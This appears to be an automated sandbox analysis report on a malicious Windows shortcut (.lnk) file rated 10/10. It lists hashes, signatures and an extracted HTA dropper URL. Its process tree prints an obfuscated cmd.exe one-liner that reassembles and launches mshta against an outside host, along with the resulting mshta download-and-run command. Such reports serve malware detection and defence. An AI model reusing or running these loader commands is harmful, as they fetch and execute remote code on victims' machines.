Analysis

  • max time kernel
    60s
  • max time network
    29s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/08/2026, 11:14

General

  • Target
    DOC-4JDQYA.lnk
  • Size 2KB
  • Sample260827-nby7patdpb
  • SHA256 33455ebe7c4c180a3b21675cf6559a94a75d2df728c77f509d96b497c8da5286
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4JDQYA.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:636
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set Czo=2mshtl&&set OGlJA=a7na1&&set TLUw=tmpltvkwtmp&&set PUfml=cfgjfclsxehcfg&&set andS=logtkbnuzbpdzukqubrgflog&&set UkdOT=16s6&&set lQAL=t8st9&&set wAi=6artgr&&set tUMT=baktibrgbak&&set cVPOl=netcrxjbdjinidxvettmnet&&set UsB=datgshzebdat&&set Cp=loguefxtlfigzqwhymlog&&set fGo=htt@ps@://@k-documen@t@a@c@[email protected]/h/est@ag@io1@.@p@h@p?r=@3F@1@477F@1@5@398D1&&start /b !Czo:~1,4!!OGlJA:~3,1! !fGo:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4800
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:5648

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads